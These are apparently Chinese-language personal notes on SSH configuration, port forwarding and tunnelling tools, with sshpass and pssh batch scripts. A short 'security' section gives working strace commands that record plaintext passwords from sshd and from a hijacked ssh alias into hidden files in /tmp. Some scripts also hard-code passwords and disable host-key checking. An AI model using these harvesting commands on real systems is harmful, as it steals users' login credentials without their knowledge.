Port 65522                         # 服务端SSH端口,可以指定多条表示监听在多个端口上
UseDNS no                       # 指定是否将客户端主机名解析为IP,以检查此主机名是否与其IP地址真实对应。默认yes。
                                # 由此可知该项影响的是主机验证阶段。建议在未配置DNS解析时,将其设置为no,否则主机验证阶段会很慢
GSSAPIAuthentication no         # 是否开启GSSAPI身份认证机制,默认为yes
PermitRootLogin yes             # 是否允许root用户登录
PubkeyAuthentication yes        # 是否开启基于key验证
AuthorizedKeysFile  .ssh/authorized_keys  # 基于公钥认证机制时,来自客户端的公钥的存放位置
PasswordAuthentication yes      # 是否使用用户名和密码连接,如果使用密钥对验证可以关了它
PermitEmptyPasswords no         # 是否允许空密码,如果上面的那项是yes,这里最好设置no

范例:设置ssh

# 每 15s 发心跳,尽量不让运营商网关杀掉 TCP 流。
Vim /etc/ssh/sshd_config
ClientAliveInterval 15
ClientAliveCountMax 3
# 增加:长时间无响应直接踢掉僵死会话,释放pts
MaxSessions 20
LoginGraceTime 30

Service sshd restart
#注意:新开一个连接才有效

范例:解决ssh登录缓慢的问题

ssh连接包括两个阶段:公钥交换阶段和登录验证阶段。这两个阶段都可能导致连接速度慢。

具体是哪个阶段的速度慢,完全可以通过肉眼看出来:

  1. 卡着很久才提示保存host key肯定是公钥交换过程慢。
  2. 主机验证完成后卡着很久才提示输入密码,肯定是登录验证过程慢。

其中公钥交换过程慢的原因,可能是网络连接慢、DNS解析慢等原因。网络连接 慢,ssh对此毫无办法,而DNS解析慢,ssh是可以解决的,解决方法是将ssh服务 端的配置文件中UseDNS设置为no(默认为yes)。

而登录验证慢的原因,则考虑ssh的身份验证顺序: gssapi,host-based,publickey,keyboard-interactive,password。其中gssapi 认证顺序是比较慢的,所以解决方法一是在ssh客户端配置文件中将GSSAPI认证 机制给关掉,解决方法二是在ssh客户端配置文件中使用 PreferredAuthentications指令修改身份验证顺序。

vim /etc/ssh/sshd_config
UseDNS no
GSSAPIAuthentication no

systemctl restart sshd

范例:在 ubuntu 上启用root 远程ssh登录

#修改sshd服务配置文件
vim /etc/ssh/sshd_config
#PermitRootLogin prohibit-password 注释掉此行
PermitRootLogin yes 修改为下面形式

systemctl restart sshd

ssh服务的最佳实践

  • 建议使用非默认端口
  • 禁止使用protocol version 1
  • 限制可登录用户
  • 设定空闲会话超时时长
  • 利用防火墙设置ssh访问策略
  • 仅监听特定的IP地址
  • 基于口令认证时,使用强密码策略,比如: tr -dc A-Za-z0-9_ < /dev/urandom ​| head -c 12|xargs
  • 使用基于密钥的认证
  • 禁止使用空密码
  • 禁止root用户直接登录
  • 限制ssh的访问频度和并发在线数
  • 经常分析日志 /var/log/secure

ssh高级应用

SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是,SSH还 能够将其他 TCP 端口的网络数据通过 SSH链接来转发,并且自动提供了相应的 加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为 其他 TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP, LDAP 这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传 输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允 许SSH 的连接,也能够通过将 TCP 端口转发来使用 SSH 进行通讯

SSH 端口转发能够提供两大功能:

  • 加密 SSH Client 端至 SSH Server 端之间的通讯数据
  • 突破防火墙的限制完成一些之前无法建立的 TCP 连接

端口转发有三种使用方法:动态转发,本地转发,远程转发

工具:

mac工具:ssh tunnel

教程:阮一峰 https://wangdoc.com/ssh/port-forwarding.html

Linux端口转发的几种常用方法

  • SSH 端口转发
  • iptables 端口转发
  • firewall 端口转发
  • rinetd 端口转发
  • ncat 端口转发
  • socat 端口转发
  • portmap 端口转发

参考:https://cloud.tencent.com/developer/article/1688152

SSH本地端口转(特定场合会用到)

本地转发(local forwarding)指的是,SSH服务器作为中介的跳板机,建立本 地计算机与特定目标网站之间的加密连接。本地转发是在本地计算机的SSH 客户 端建立的转发规则。

它会指定一个本地端口(local-port),所有发向那个端口的请求,都会转发到 SSH 跳板机(tunnel-host),然后 SSH跳板机作为中介,将收到的请求发到目 标服务器(target-host)的目标端口(target-port)。

特点:本地执行ssh命令,本地打开端口连接ssh跳板机访问目标主机

SSH本地端口转发

ssh -L [local:]local-port:target-host:target-port tunnel-host  # local可省略

选项:

-L 表示本地转发 
-f 后台启用
-N 不打开远程shell,处于等待状态;即不执行远程命令(专门做端口转发)
-g 启用网关功能;修改sshd 配置GatewayPorts yes。本地转发端口默认绑定在回环地址上,只能使用localhost:port或127.0.0.1:port的形式,-g允许外界主机连接

范例:本地 2121 端口与目标网站 www.example.com 的80端口之间建立 SSH隧道, tunnel-host为SSH 跳板机

ssh -L 2121:www.example.com:80 tunnel-host -N
# 访问本机的2121端口,就是访问www.example.com的80端口
curl http://localhost:2121
注意,本地端口转发采用 HTTP 协议,不用转成 SOCKS5 协议。

范例:加密访问邮件获取协议 POP3

ssh -L 1100:mail.example.com:110 mail.example.com
# 将本机的1100端口,绑定邮件服务器mail.example.com的110端口(POP3 协议的默认端口)。端口转发建立以后,POP3 邮件客户端只需要访问本机的1100端口,请求就会通过 SSH 跳板机(这里是mail.example.com),自动转发到mail.example.com的110端口

范例:

本地150地址3366请求反代到远端222地址上的内网3306端口
[root@hd-test-all-01 ~]# ssh -p 10022 -Nf -L 192.168.1.150:3366:172.16.166.61:3306 [email protected]
[root@hd-test-all-01 ~]# ss -tnl|grep 3366
192.168.1.150:3366
[root@hd-test-all-01 ~]# mysql -h 192.168.1.150 -P 3366 -uspark -p
mysql> show databases;
+-----------------------+
| Database              |
+-----------------------+
| information_schema    |
| operational_analytics |

#当访问本机的9527的端口时,被加密后转发到sshsrv的ssh服务,再解密被转发到telnetsrv:23
#data<-->localhost:9527 <-->localhost:XXXXX<-->sshsrv:22<-->sshsrv:YYYYY<-->telnetsrv:23

ssh –L 9527:telnetsrv:23 -Nfg sshsrv
telnet 127.0.0.1 9527

范例:本地端口转发

image-20210120194923288.webp
[root@centos8 ~]#ssh -fNL 9527:10.0.0.28:80 10.0.0.18
[root@centos8 ~]#curl 127.0.0.1:9527

范例:简易VPN

VPN用来在外网与内网之间建立一条加密通道。内网的服务器不能从外网直接访 问,必须通过一个跳板机,如果本机可以访问跳板机,就可以使用SSH 本地转发, 简单实现一个 VPN。

ssh -L 2080:corp-server:80 -L 2443:corp-server:443 tunnel-host -N
# 通过 SSH 跳板机,将本机的2080端口绑定内网服务器的80端口,本机的2443端口绑定内网服务器的443端口

如果经常使用本地转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config )

Host test.example.com
LocalForward client-IP:client-port server-IP:server-port

范例:

ssh -i ~/.ssh/coolio.example.key -f -N -L 9906:127.0.0.1:3306 [email protected]
#在本地9906端口与[email protected]之间建立一条隧道,隧道的出口是database.example.com的127.0.0.1:3306,也就是[email protected]收到本机的请求以后,转发给自己的3306端口。
#-f 后台启用
#-N 不打开远程shell,处于等待状态;即不执行远程命令(专门做端口转发)

#~/.ssh/config
Host tunnel
    User coolio
    HostName database.example.com
    Port 22
    IdentityFile ~/.ssh/coolio.example.key
    LocalForward 9906 127.0.0.1:3306

#command
ssh -f -N tunnel

参考:https://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/

级联及代理工具

范例:级联。北京到新加坡建立隧道,本地通过新加坡与孟买建立隧道

#~/.ssh/config
Host b-t-s #beijing to singapore  backend
    User jasper-xu
    HostName 3.xx.xx.xx
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9101 4.xx.xx.xx:22
Host s-t-b # singapore to bombay backend
    User jasper-xu
    HostName 127.0.0.1
    Port 9101
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9102 1.xx.xx.xx:22
Host t-ops
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 8080 172.21.28.207:8080
    LocalForward 8848 172.21.39.120:8848
#----login--
Host bombay  # connnect bombay from local
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
Host 120  # connnect  172.21.39.120 from local
    User jasper-xu
    HostName 172.21.39.120
    #HostName 127.0.0.1
    Port ssh
    IdentityFile ~/tmp/worker/jasper-xu.pem
    ProxyCommand ssh -q -W %h:%p bombay #-q only required on Mac
    RequestTTY yes
    RemoteCommand sudo su -    
# 执行转发
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-ops

# 验证1,登录bombay
ssh  bombay
[jasper-xu@ip-172-21-39-187 ~]$

# 验证2 访问8080
#浏览器访问:http://127.0.0.1:8080

# 验证3 跳板
> ssh 120
[root@ip-172-21-39-120 ~]#



> cat to-bombay.sh
#!/bin/zsh
ps -ef|grep '\-t\-' |awk '{print $2}'|  xargs kill
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-stg

ssh tunnel工具

image-20211122140940050.webp
image-20211122141019274.webp

无法导入私钥:的私钥是新格式,不支持旧格式

brew install putty

puttygen ~/.ssh/id_rsa -O private-openssh -o a.pem

windows xshell 设置方法

beijing-to-singapore: ssh连接北京,本地隧道9101到新加坡ssh端口

image-20211217051955933.webp
image-20211217052022361.webp
image-20211217052042961.webp
image-20211217052104728.webp

singapore-to-bombay: ssh连接本地9101,本地隧道9102到孟买ssh端口

登录bombay:ssh连接本地9102端口

image-20211217052516313.webp

登录120:通过bombay跳板到其它机器,ssh连接120机器,设置代理服务器连接本地9102端口

image-20211217052918501.webp
image-20211217052906963.webp
image-20211217052848391.webp
创建到目标主机的持久化连接
ssh -MNf 用户名@主机

范例

ssh -p10022 -MNf -L 192.168.1.150:33061:172.16.166.61:3306 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:54323:172.19.196.33:5432 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:33306:172.16.166.13:3306 [email protected]

在后台创建到目标主机的持久化连接,将这个命令和你 ~/.ssh/config 中的配置结合使用:

Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no

所有到目标主机的SSH连接都将使用持久化SSH套接字,如果你使用SSH定期同步 文件(使用rsync/sftp/cvs/svn),这个命令将非常有用,因为每次打开一个 SSH连接时不会创建新的套接字。

代理工具 sshuttle

这是一个神器。hadoop这些集群没法通过单一的端口转发代理实现集群的访问, VPN有些太重,ubuntu下直接用 sudo apt install -y sshuttle 就可以安装 了。这个工具非常巧妙,利用iptables的端口转发功能,直接把指定目标网络的 请求通过ssh代理到远程,实现了非常类似于VPN的功能,但是几乎零配置,

例子:

sshuttle -r user@remote_ip 10.0.0.0/8

代表将10.0.0.0/8这个网段的请求走SSH代理,是不是很容易使用?此外,还支 持–dns,–auto-hosts, –auto-nets等十分有用的参数,根据实际情况去选用 即可。

sshuttle非常类似于VPN,但是比VPN更轻量,而且无需管理。值得注意的是,本 质上这个工具是利用了端口转发的原理,并不是真正的VPN,所以对于ICMP这类 的协议是没用的,也就是说,对于ping命令是无效的。

SSH远程端口转发

远程端口指的是在远程 SSH 服务器建立的转发规则。

这种场景比较特殊,主要针对内网的情况。本地计算机在外网,SSH跳板机和目 标服务器都在内网,而且本地计算机无法访问内网之中的 SSH跳板机,但是 SSH 跳板机可以访问本机计算机。

由于本机无法访问内网 SSH 跳板机,就无法从外网发起 SSH隧道,建立端口转 发。必须反过来,从 SSH跳板机发起隧道,建立端口转发,这时就形成了远程端 口转发。

特点:ssh跳板机执行ssh命令,本地打开端口连接ssh跳板机访问目标主机

ssh -R [local:]local-port:target-host:target-port local
# 首先需要注意,不是在本机执行的,而是在 SSH 跳板机执行的,从跳板机去连接本地计算机。-R参数表示远程端口转发,local-port是本地计算机的端口,target-host和target-port是目标服务器及其端口,local是本地计算机

示例:

# 跳板机执行下面的命令,绑定本地计算机的2121端口,去访问www.example.com:80
ssh -R 2121:www.example.com:80 local -N
curl http://localhost:2121

#让sshsrv侦听9527端口的访问,如有访问,就加密后通过ssh服务转发请求到本机ssh客户端,再由本机解密后转发到telnetsrv:23
#Data<-->sshsrv:9527<-->sshsrv:22<-->localhost:XXXXX<-->localhost:YYYYY<--
>telnetsrv:23

ssh –R 9527:telnetsrv:23 –Nf sshsrv

范例:远程端口转发并实现网关功能

image-20210120194948379.webp

ssh跳板机从内向外发起主动连接,这样本地访问就不是从外面主动进来,就不 会被防火墙拦截了。

# 目标主机开启http服务
[root@lan-server ~]#yum -y install httpd;systemctl start httpd;echo website On 10.0.0.28 > /var/www/html/index.html

# 本地10.0.0.8开启ssh网关功能 GatewayPorts yes
[root@ssh-server ~]#vim /etc/ssh/sshd_config
GatewayPorts yes
[root@ssh-server ~]#systemctl restart sshd

# 跳板执行ssh策略
[root@ssh-client ~]#ssh -fNgR 9527:10.0.0.28:80 10.0.0.8
[email protected]'s password:

# 从其它服务器访问本地10.0.0.8端口
[root@centos6 ~]#curl 10.0.0.8:9527
website On 10.0.0.28
[root@centos7 ~]#curl 10.0.0.8:9527
website On 10.0.0.28

如果经常执行远程端口转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config )

Host test.example.com
RemoteForward local-IP:local-port target-ip:target-port

SSH动态端口转发

动态转发指的是,本机与 SSH服务器之间创建了一个加密连接,然后本机内部针 对某个端口的通信,都通过这个加密连接转发。它的一个使用场景就是,访问所 有外部网站,都通过SSH 转发。

动态转发需要把本地端口绑定到 SSH 服务器。至于 SSH服务器要去访问哪一个 网站,完全是动态的,取决于原始通信,所以叫做动态转发。

特点:本地执行ssh命令,本地打开端口连接ssh跳板机访问目标主机,目标主机 地址是动态的。

ssh -D local-port tunnel-host -N
#-D表示动态转发,local-port是本地端口,tunnel-host是 SSH 服务器,-N表示这个 SSH 连接只进行端口转发,不登录远程 Shell,不能执行远程命令,只能充当隧道
image-20210120195813397.webp
#当用firefox访问internet时,本机的1080端口做为代理服务器,firefox的访问请求被转发到
sshserver上,由sshserver替之访问internet

ssh -D 1080 root@sshserver -fNg
# 这种转发采用了 SOCKS5 协议。访问外部网站时,需要把 HTTP 请求转成 SOCKS5 协议,才能把本地端口的请求转发出去

#在本机firefox设置代理socket proxy:127.0.0.1:1080
curl --socks5 127.0.0.1:1080 http://www.google.com

范例:动态端口转发实现科学上网方式1 ssh client端执行

image-20210120195833477.webp
[root@centos8 ~]#ssh -fND 9527 10.0.0.18
image-20210120195855252.webp

范例:动态端口转发实现科学上网方式2 减少成本, vps执行

image-20210120195908239.webp
[root@vps ~]#ssh -gfND 9527 10.0.0.18
[root@centos6 ~]#curl --socks5 10.0.0.18:9527 http://10.0.0.28
google On 10.0.0.28
[root@centos7 ~]#curl --socks5 10.0.0.18:9527 http://10.0.0.28
google On 10.0.0.28

如果经常使用动态转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config )。

DynamicForward tunnel-host:local-port

范例

#ssh -p 65522 -i dev-server.pem -D 10800 [email protected] -Ng

#~/.ssh/config
Host dhost
  Hostname 3.x.x.71
  Port 65522
  User root
  IdentityFile /d/dev-server.pem
  DynamicForward 10800

ssh dhost -Ng #-f 后台启动

#浏览器设置代理socket5 127.0.0.1:10800

范例

ssh -L 1080:localhost:9999 JumpHost -t ssh -D 9999 HostB
#这条命令会在登录JumpHost时,建立本机1080端口到JumpHost 9999端口的转发,
#同时在JumpHost上执行ssh登录HostB,同时监听9999端口动态转发到HostB。
#于是,所有到本机1080端口的连接,都被代理到了远程的HostB上去

X 协议转发

所有图形化应用程序都是X客户程序,能够通过tcp/ip连接远程X服务器,数据没有 加密,但是它通过ssh连接隧道安全进行

#remotehost主机上的gedit工具,将会显示在本机的X服务器上,传输的数据将通过ssh连接加密
ssh -X user@remotehost gedit

范例:在windows上使用mobaXtrem的X server 显示 Linux 的图形工具

[root@centos ~]#yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils xorg-x11-fonts-Type1 firefox
[root@centos ~]#exit
[root@centos ~]#firefox

范例:在windows上使用xshell的X server 显示 Linux 的图形工具

[root@centos ~]# export DISPLAY=10.0.0.1:0.0
[root@centos ~]# yum -y install xclock

跳转主机

有些服务器只能在内网访问。您可以使用网关服务器作为跳转主机,然后无需先 登录网关并ssh从那里运行。另一个好处是您不必在网关机器中存储凭据,例如 私钥,一切都像您直接登录目标机器一样。

~/.ssh/config

Host gateway
    ...

Host foobar
    HostName internal.machine
    User foobar
    IdentityFile ~/.ssh/foobar.pem
    ProxyJump gateway

代理也可以实现

Host bombay  # connnect bombay from local
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
Host 120  # connnect  172.21.39.120 from local
    User jasper-xu
    HostName 172.21.39.120
    #HostName 127.0.0.1
    Port ssh
    IdentityFile ~/tmp/worker/jasper-xu.pem
    ProxyCommand ssh -q -W %h:%p bombay #-q only required on Mac
    RequestTTY yes
    RemoteCommand sudo su -  

stdio转发(netcat模式)与ProxyJump

ssh -W localhost:23 JumpHost

#netcat模式可谓ssh的杀手特性:通过-W参数开启到目标网络某主机和端口的stdio转发,
#可以看做是组合了netcat(nc)和ssh -L。上述命令相当于将本机的标准输入输出连接到了
#JumpHost的telnet端口上,就像在JumpHost上执行telnet localhost一样,而且并不需要在本机运行telnet!

其它端口转发方式

iptables 端口转发

entOS 7.0 以下使用的是iptables,可以通过iptables实现数据包的转发。

开启数据转发功能

vi /etc/sysctl.conf   
  #增加一行 net.ipv4.ip_forward=1
//使数据转发功能生效
sysctl -p

将本地的端口转发到本机端口:

iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22

将本机的端口转发到其他机器:

iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130

#清空nat表的所有链
iptables -t nat -F PREROUTING
firewall 端口转发

CentOS 7.0以上使用的是firewall,通过命令行配置实现端口转发。

开启伪装IP:

firewall-cmd --permanent --add-masquerade

配置端口转发,将到达本机的12345端口的访问转发到另一台服务器的22端口。

firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22

重新载入,使其失效。

firewall-cmd --reload
rinetd 本地端口转发

https://github.com/samhocevar/rinetd

Rinetd是为在一个Unix和Linux操作系统中为重定向传输控制协议(TCP)连接的一个工具

wget https://github.com/samhocevar/rinetd/releases/download/v0.73/rinetd-0.73.tar.gz
yum install automake gcc -y
tar xf rinetd-0.73.tar.gz
cd rinetd-0.73/
./bootstrap
./configure
make && make install

程序路径 /usr/sbin/rinetd

需要配置文件 /etc/rinetd.conf

配置文件格式很简单:

[Source Address] [Source Port] [Destination Address] [Destination Port]

在每一单独的行中指定每个要转发的端口。源地址和目的地址都可以是

主机名或IP 地址,IP 地址0.0.0.0 将rinetd 绑定到任何可用的本地IP地址上:

0.0.0.0 8080 www.aslibra.com 80
0.0.0.0 3306 192.168.1.77 3306
0.0.0.0 88 127.0.0.1 80

unit

cat <<\EOF >/usr/lib/systemd/system/rinetd.service
[Unit]
Description=rinetd
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/sbin/rinetd -c /etc/rinetd.conf

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable rinetd
ncat 端口转发

netcat(简称nc)被誉为网络安全界的”瑞士军刀“,一个简单而有用的工具, 这里介绍一种使用netcat实现端口转发的方法。

安装ncat

yum install nmap-ncat -y

监听本机 9876 端口,将数据转发到 192.168.172.131的 80 端口

ncat --sh-exec "ncat 192.168.172.131 80" -l 9876  --keep-open
socat 端口转发

socat是一个多功能的网络工具,使用socat进行端口转发。 socat安装

yum install -y socat

在本地监听12345端口,并将请求转发至192.168.172.131的22端口。

socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22
portmap 端口转发

Linux 版的lcx,内网端口转发工具。

下载地址:

http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

监听本地1234端口,转发给192.168.172.131的22端口

./portmap -m 1 -p1 1234 -h2 192.168.172.131 -p2 22
08、portfwd端口转发
portfwd是meterpreter中内置的功能,也提供了单机版,用于TCP/UDP端口转发服务
Github 项目地址:
https://github.com/rssnsj/portfwd
(1)下载编译
git clone https://github.com/rssnsj/portfwd.git
cd portfwd/src
make
(2)将本地的12345端口转发到192.168.172.131:22


./tcpfwd 0.0.0.0:12345 192.168.172.131:22
09、NATBypass端口转发
一款lcx(htran)在golang下的实现
Gihub项目地址:
https://github.com/cw1997/NATBypass
(1)内网主机主动连接外网主机打通隧道
在目标机器上执行:nb -slave 127.0.0.1:3389 公网IP:51
在公网的机器执行:nb -listen 51 3340
在公网主机上连接 127.0.0.1:3340,即可连接上内网机器的3389端口。

安全相关

获取sshd进程明文密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在来匹配用户和密码

# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

# 结果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
收集ssh登陆凭证
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

通过grep 找到匹配行的后8行,可以根据密码长度调整行数

grep -A 9 'password' .ssh-25Sep091601017212.log
访问控制

Match

例如你是git.ustclug.org的管理员,当你以个人账号登陆git.ustclug.org进行维护,和以git账号登陆访问代码时,想用不同的ssh key以及配置,那么可以这样:

Match originalhost git.ustclug.org, user git
    IdentityFile your-gitlab-key
    ControlMaster no

Match originalhost git.ustclug.org, user !git
    IdentityFile your-personal-key​
    ControlMaster auto

自动补全域名后缀

假设你有若干服务器,如lug.ustc.edu.cn, mirrors.ustc.edu.cn, pxe.ustc.edu.cn 等等,实验室有一些服务器,如server{1,2,3}.mylab.ustc.edu.cn,为了平时敲命令时可以少敲一些字符,那么可以这样配置:

Host *.ustc.edu.cn !*.mylab.ustc.edu.cn
    User your-user-name
    IdentityFile your-key-1

Host *.mylab.ustc.edu.cn
    User your-user-name
    IdentityFile your-key-2

Host *
    CanonicalizeHostname Yes
    CanonicalDomains mylab.ustc.edu.cn ustc.edu.cn
    CanonicalizeMaxDots 0
    CanonicalizeFallbackLocal yes

这样,当执行 ssh mirrors 时:

- 首先尝试匹配第一段 Host *.ustc.edu.cn !*.mylab.ustc.edu.cn ,失败
- 接着尝试匹配第二段,失败
- 然后匹配第三段 "Host *",成功,应用其中的参数。ssh会尝试解析 mirrors.mylab.ustc.edu.cn,失败,再尝试解析 mirrors.ustc.edu.cn,成功,于是HostName被改写成mirrors.ustc.edu.cn
- 由于HostName变了,于是ssh重新读一遍配置文件
- 尝试匹配第一段,成功,应用其中的参数
- 尝试匹配第二段,失败
- 尝试匹配第三段,成功,但是CanonicalizeMaxDots 0,因为现在的HostName里面有三个dot,所以与Canonicalize有关的参数都被忽略。

如果在很多实验室都有服务器,比如 *.lab1.ustc.edu.cn, *.lab2.ustc.edu.cn

Host *.ustc.edu.cn !*.lab1.ustc.edu.cn !*.lab2.ustc.edu.cn
    ...
Host *.lab1.ustc.edu.cn
    ...
Host *.lab2.ustc.edu.cn
    ...
Host *
    CanonicalizeHostname Yes
    CanonicalDomains  ustc.edu.cn lab1.ustc.edu.cn lab2.ustc.edu.cn
    CanonicalizeMaxDots 1
    CanonicalizeFallbackLocal yes

​注意,这里CanonicalizeMaxDots设成了1,

  • ssh server1.lab1 连第一个存在的域名 server1.lab1.ustc.edu.cn, server1.lab1.lab1.ustc.edu.cn server1.lab1.lab2.ustc.edu.cn
  • ssh server2 连第一个存在的域名 server2.ustc.edu.cn ,server2.lab1.ustc.edu.cn, server2.lab2.ustc.edu.cn

ssh 其它相关工具

挂载远程ssh目录 sshfs

由EPEL源提供,目前CentOS8 还没有提供,可以利用ssh协议挂载远程目录

[root@centos7 ~]#yum install fuse-sshfs
[root@centos7 ~]#sshfs 10.0.0.8:/data /mnt
[root@centos7 ~]#df /mnt
Filesystem      1K-blocks   Used    Available   Use%    Mounted on
10.0.0.8:/data  52403200    398576  52004624    1%      /mnt

自动登录ssh工具sshpass

由EPEL源提供,ssh登陆不能在命令行中指定密码。sshpass的出现,解决了这一 问题sshpass用于非交互SSH的密码验证,一般用在sh脚本中,无须再次输入密码 (本机known_hosts文件中有的主机才能生效)。它允许你用-p参数指定明文密 码,然后直接登录远程服务器,它支持密码从命令行、文件、环境变量中读取。

格式:

sshpass [option] command parameters

常见选项

-p password #后跟密码它允许你用 -p 参数指定明文密码,然后直接登录远程服务器
-f filename #后跟保存密码的文件名,密码是文件内容的第一行。
-e #将环境变量SSHPASS作为密码

范例:

[root@centos8 ~]#yum -y install sshpass
[root@centos8 ~]#rpm -ql sshpass
/usr/bin/sshpass
/usr/lib/.build-id
/usr/lib/.build-id/1f
/usr/lib/.build-id/1f/c5d6cf03500df846a1a801aab749f478845a4d
/usr/share/doc/sshpass
/usr/share/doc/sshpass/AUTHORS
/usr/share/doc/sshpass/COPYING
/usr/share/doc/sshpass/ChangeLog
/usr/share/doc/sshpass/NEWS
/usr/share/man/man1/sshpass.1.gz

[root@centos8 ~]# sshpass -p 123456 ssh -o StrictHostKeyChecking=no [email protected]
[root@centos8 ~]#sshpass -p 123456 ssh -o StrictHostKeyChecking=no 10.0.0.7 hostname -I
10.0.0.7
[root@centos8 ~]#sshpass -p 123456 ssh -o StrictHostKeyChecking=no 10.0.0.6 hostname -I
10.0.0.6

# 从文件读取密码
[root@centos8 ~]# cat pass.txt
123456
[root@centos8 ~]# sshpass -f pass.txt ssh [email protected]
# 从环境变量获取密码
[root@centos8 ~]# export SSHPASS=123456
[root@centos8 ~]# sshpass -e ssh [email protected]

# 从远程主机上拉取文件
sshpass -p user_password scp -P22 [email protected]:/home/test  ./ 
scp -r /data/dir --rsh="sshpass -p 'my_pass_here' ssh -l myuser" 10.42.0.1:/opt
rsync --rsh="sshpass -p 'my_pass_here' ssh -l myuser" 10.42.0.1:/data/backup/ /backup/

范例:批量修改多台主机的root密码为随机密码

[root@centos8 ~]#cat change_root_password.sh
#!/bin/bash
rpm -q sshpass &> /dev/null || yum install -y sshpass
export SSHPASS=meu
NET=10.0.0
for i in {5..19};do
    {
    PASS=`openssl rand -base64 9`
    sshpass -e ssh $NET.$i "echo $PASS| passwd --stdin root &> /dev/null"
    echo $NET.$i:$PASS >> host.txt
    }&
done
wait

范例:批量部署多台主机基于key验证脚本1

[root@centos8 ~]#cat sshpass.sh
#!/bin/bash
NET=10.0.0
PASS=meu
ssh-keygen -P "" -f /root/.ssh/id_rsa &> /dev/null
rpm -q sshpass &> /dev/null || yum -y install sshpass &> /dev/null
for i in {1..100};do
{
sshpass -p $PASS ssh-copy-id -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa.pub $NET.$i &> /dev/null
}&
done
wait

范例:批量部署多台主机基于key验证脚本2

[root@centos8 ~]#cat sshpass2.sh
#!/bin/bash
HOSTS="
10.0.0.6
10.0.0.18
10.0.0.77
"
PASS=meu
ssh-keygen -P "" -f /root/.ssh/id_rsa &> /dev/null
rpm -q sshpass &> /dev/null || yum install -y sshpass &> /dev/null
for i in $HOSTS;do
{
sshpass -p $PASS ssh-copy-id -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa.pub $i &> /dev/null
}&
done
wait
# 连接虚拟机
which sshpass expect ssh 2>&1; echo "---"; ping -c 2 -W 2000 10.0.0.101 2>&1 | tail -5
export SSHPASS=123456; sshpass -e ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected] 'echo "===";'

轻量级自动化运维工具 pssh

EPEL源中提供了多个自动化运维工具

  • pssh:基于python编写,可在多台服务器上执行命令的工具,也可实现文件复 制,提供了基于ssh和scp的多个并行工具,项目: http://code.google.com/p/parallel-ssh/, CentOS8上目前没提供
  • pdsh:Parallel remote shell program,是一个多线程远程shell客户端,可 以并行执行多个远程主机上的命令。可使用几种不同的远程shell服务,包括 rsh,Kerberos IV和ssh,项目:https://pdsh.googlecode.com/
  • mussh:Multihost SSH wrapper,是一个shell脚本,允许使用命令在多个主 机上通过ssh执行命令。可使用ssh-agent和RSA/DSA密钥,以减少输入密码, 项目:http://www.sourceforge.net/projects/mussh

pssh 命令选项如下:

-H:主机字符串,内容格式”[user@]host[:port]”
-h file:主机列表文件,内容格式”[user@]host[:port]”
-A:手动输入密码模式,(注意这个参数添加后只是提示作用,随便输入或者不输入直接回车都可以)
-i:每个服务器内部处理信息输出
-l:登录使用的用户名
-p:并发的线程数【可选】
-o:输出的文件目录【可选】
-e:错误输出文件【可选】
-t:TIMEOUT 超时时间设置,0无限制【可选】
-O:SSH的选项
-x 传递多个SSH 命令,多个命令用空格分开,用引号括起来
-X 同-x 但是一次只能传递一个命令
-P:打印出服务器返回信息
-v:详细模式
--version:查看版本

a)批量执行命令

范例:

#默认使用ssh的key认证,通过 -A选项,使用密码认证批量执行指令
pssh -H "192.168.1.10" -A hostname

#输出信息
pssh -H [email protected] -A -i hostname

#通过pssh批量关闭seLinux
pssh -H [email protected] -i 'sed -i "s/^SELINUX=.*/SELINUX=disabled/" /etc/selinux/config'

#多台主机
pssh -H "192.168.1.10 192.168.1.20" -i hostname

#多台主机
